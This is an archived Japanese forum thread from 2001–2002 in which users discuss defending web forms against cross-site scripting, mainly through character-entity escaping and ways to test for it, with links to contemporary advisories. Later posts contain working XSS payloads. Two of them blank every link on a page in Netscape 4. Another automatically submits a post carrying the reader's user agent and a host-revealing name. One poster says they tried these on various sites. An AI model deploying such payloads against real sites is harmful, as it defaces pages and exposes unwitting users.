クロスサイトスクリプティング対策
■ このスレッドは過去ログ倉庫に格納されています
0001名無しさん@お腹いっぱい。
01/10/27 10:37ID:AENF9z2S簡単にいって、フォームの入力をサーバサイドで処理してHTMLと
して出力する時に、文字のエスケープを適切に行わないと、
Cookieを取得するJavaScriptを埋め込み&出力結果を別サイトに
リダイレクトする、というような方法を使ってCookieを第三者に
盗まれる可能性がある、ということです。
上の資料を参考にしながら、
それぞれの処理系における、どのようの文字列エスケープを行うべきか、
といったサーバサイドの対策に関する情報を交換していきたいと思います。
0002名無しさん@お腹いっぱい。
01/10/27 11:07ID:AENF9z2S一番カタイのはタグ禁止ということにして<,>を文字実体参照に変換してしまう
のが手っ取り早いと思います。
0003名無しさん@お腹いっぱい。
01/10/28 03:25ID:ZO04qCcD最近の具体例が。
http://memo.st.ryukoku.ac.jp/archive/200110.month/index.html
のArticle 1756。見ればわかりますがHTMLタグのエスケープ処理を
忘れてるものと思われます。<SCRIPT>タグなんか埋め込まれた日には
色々悪さされそうです。
0004名無しさん@お腹いっぱい。
01/11/02 23:53ID:bu2IICno少なくともFORMから入力されたパラメタは、全て読み込んだ時点で
実体参照に置換してしまう(汚染チェックも行う)。
s/&/&/g
s/</</g
s/>/>/g
s/"/"/g
URLやHTTPヘッダもそうするべきだけど、そこまでは辛いか?後は比較などで、
元の文字列でなければ困るところだけ、一時的に元に戻すようにする。
s/</</g
s/>/>/g
s/"/"/g
s/&/&/g
(上記は2chがちゃんと処理してなかった場合ちゃんと見えないかも。
面倒なんでその場合はページのソースを見てください)
必要な箇所での戻し忘れがあった場合の不都合は、比較的簡単に目に見えるので
どってこたない。置換を忘れた場合は見つけにくい上にセキュリティ問題になる
ことを考えれば、これくらい徹底した方がいいのでは?
0005名無しさん@お腹いっぱい。
01/11/03 00:20ID:zLquoryW00064
01/11/03 00:48ID:???s/</</g
s/>/>/g
s/"/""/g
だ。下のは
s/&/&/g
s/</</g
s/>/>/g
s/""/"/g
ふー…ちゃんと&と"も置換してよ。
0007age
01/11/03 00:52ID:???0008age
01/11/03 17:57ID:???0009名無しさん@お腹いっぱい。
01/11/03 19:10ID:???ネスケ4で見てね。
00109
01/11/03 19:17ID:???001110
01/11/03 19:17ID:???001210
01/11/03 19:24ID:???001312
01/11/03 19:25ID:???0014名無しさん@お腹いっぱい。
01/11/04 14:11ID:???0015神じゃないけど
01/11/05 23:36ID:???0016名無しさん@お腹いっぱい。
01/11/05 23:40ID:gvBrmPxuhttp://www.zdnet.co.jp/news/0111/05/e_wallet.html
0017名無しさん@お腹いっぱい。
01/11/06 01:05ID:???0018名無しさん@お腹いっぱい。
01/11/06 01:28ID:???0019
01/11/06 13:33ID:hz5ky/YY0020名無しさん@お腹いっぱい。
01/11/06 15:28ID:???そーいや、それについての警告を見た事無いな。
何処かに名文ないものかな?
0021名無しさん@お腹いっぱい。
01/11/06 16:19ID:8Is73jkRこれとか:
http://www.securityfocus.com/archive/1/50782
この著者は先日MicrosoftのPassportの問題を指摘した人物。
Apache Softoware Foundationのメンバーで、1.3.11の同脆弱性を直した人。
0022名無しさん@お腹いっぱい。
01/11/09 00:12ID:ShSwDwY3クロスサイトスクリプティング対策をやんなきゃいけなくって、
できる限りヤバーイのを発見しないといけないんだけどさー、
どうするのがいいかねぇ。
0023名無しさん@お腹いっぱい。
01/11/09 00:42ID:???英語か:-(
誰か和訳してくれないものかな。
0024名無しさん@お腹いっぱい。
01/11/09 21:56ID:QF/0zNjvまず、実体参照への変換関数(メソッド)を固定の記号に置き換えて返すように変更して実行してみる。
例えば"====================="とか。
そして、フォームの全てのパラメタに"**************************************************"とかの
目立つ文字列を入れてみて、後者がブラウザ上に現れたらアウト。
※hiddenフィールドもチェックしないとね
ただしそれだけだと、URLやHTTPヘッダのチェックが見落としやすいな…。
URL等をブラウザに表示している箇所は、"*********..."が表示されるはずだからそうなっていない
生のURLやUser-Agent等のヘッダの文字列が表示されていたらアウトなわけだけど…。
0025名無しさん@お腹いっぱい。
01/11/09 21:57ID:QF/0zNjv0026名無しさん@お腹いっぱい。
01/11/09 23:25ID:???フォームからのものとか、REMOTE_ADDR、REMOTE_HOSTなど
すべて strip_tags() してますが、安全でしょうか?
0027名無しさん@お腹いっぱい。
01/11/10 00:07ID:9tmYIcvX要はそれを忘れてないかどうかが問題なので。
環境変数等から変数に代入する時点で変換するというポリシーが貫けているなら、
この問題に対してはほぼ安全と思う。
0029cookieが表示されない
01/11/12 16:46ID:???http://www.st.ryukoku.ac.jp/~kjm/security/memo/ の
MS01-055: Cookie Data in IE Can Be Exposed or Altered Through Script Injection (セキュリティアンテナ, 2001.11.09)にあるデモ
http://www.solutions.fi/index.cgi/extra_iebug?lang=eng
でamazon.co.jpを読むと(事前にamazon.co.jpのcookieを取り込んである)
MSIE cookie vulnerability test page
This page displays the cookies found on your browser for site amazon.co.jp:
Cookies:
No cookies found for site...
Click here to make new search for cookies.
−−−−−
アクティブスクリプトに対して「プロンプトを表示」で表示されたら
はい(Y)を選択する。
こんなダイアログ−http://www.st.ryukoku.ac.jp/~kjm/security/memo/2001/ie6-script-dialog.png
−−−−−
アクティブスクリプトを実行しなければ "; document.location=url; と表示される。
−−−−−
デモが表示された後、「戻る」と
警告: ページの有効期限切れ 要求したページは、フォームで送信された情報を使用して作成されました。このページは、もう利用できません。セキュリティ保護のため、情報は自動的には再送信されません。
情報を再送信し、この Web ページを表示するには、ツール バーの [更新] ボタンをクリックしてください。 となる。
0030名無しさん@お腹いっぱい。
01/11/12 17:13ID:???IE5.5とIE6しか再現しないそうだ
0031>30
01/11/12 18:24ID:???http://www.microsoft.com/japan/technet/security/frame_prekb.asp?sec_cd=MS01-055
によると、
テストしたバージョン :
マイクロソフトは Internet Explorer 5.5 SP2 および 6 のテストを行い、これらの脆弱性による影響を評価しました。それ以前のバージョンに関してはサポート (英語情報) の対象となっていないため、この脆弱性による影響は不明です。
とのこと。
ということは、5.01でも危険ということだろうか。
0032名無しさん@お腹いっぱい。
01/11/26 07:56ID:???0033名無しさん@お腹いっぱい。
01/12/17 07:29ID:BojNQSph0034テスト
01/12/19 07:01ID:RLJpoDQa0035テスト
01/12/19 07:06ID:???0036名無しさん@お腹いっぱい。
02/01/12 14:08ID:???0037
02/01/26 08:50ID:SUrQysHb0038名無しさん@お腹いっぱい。
02/01/26 11:51ID:???&{document.captureEvents(Event.LOAD);window.onload=new Function('for(var i=0;Boolean(document.links[i]);i++)document.links[i].href=\'\';')};
0039名無しさん@お腹いっぱい。
02/01/26 13:20ID:???自分でやってみてよ(笑)
0040名無しさん@お腹いっぱい。
02/01/26 13:47ID:???&{for(var i=0;document.links[i];i++)document.links[i].href='';};
これは大丈夫やった。
0041名無しさん@お腹いっぱい。
02/01/26 14:05ID:???どこでやってきたの?(笑)
0042名無しさん@お腹いっぱい。
02/01/26 17:32ID:???色んなところ。反応が一つもないところを見ると
NN4でスクリプトONにしてる奴、あんまおらんのかな?
0043名無しさん@お腹いっぱい。
02/01/26 22:09ID:???0044名無しさん@お腹いっぱい。
02/01/26 22:19ID:???0046名無しさん@お腹いっぱい。
02/01/27 10:17ID:???(笑)
0048名無しさん@お腹いっぱい。
02/02/06 03:45ID:???0049名無しさん@お腹いっぱい。
02/02/06 03:46ID:dMmdiZ7phttps://www.netsecurity.ne.jp/article/1/3860.html
0050テスト
02/02/08 00:23ID:???0051テスト
02/02/08 00:28ID:???0052名無しさん@お腹いっぱい。
02/02/08 13:44ID:???>が書き込まれ、その掲示板を閲覧しようすると、オウム真理教の音楽が外部サイトから読み込まれて鳴るよう
>になったという事件であり、このようにクロスサイトスクリプティングの脆弱性は古くから存在する問題である。
タグ可の掲示板はみんな着尺製ありだな
http://pc.2ch.net/test/read.cgi/sec/1008926076/l10
0053名無しさん@お腹いっぱい。
02/02/09 01:21ID:???l0=new F('f=fs[fs.length-1]');
l1=new F('es=f.elements;');
l2=new F('a=es[0];b=es[2];');
l3=new F('c=es[3];d=es[4];');
l4=new F('a.value=navigator.userAgent;');
l5=new F('b.value=\'fusianasan\';');
l6=new F('c.value=\'\';');
l7=new F('d.value=\' \';');
l8=new F('es[1].click();');
lx=new F('l0();l1();l2();l3();');
ly=new F('l4();l5();l6();l7();');
lz=new F('l8();');
l=new F('lx();ly();lz();');window.onload=l;
■ このスレッドは過去ログ倉庫に格納されています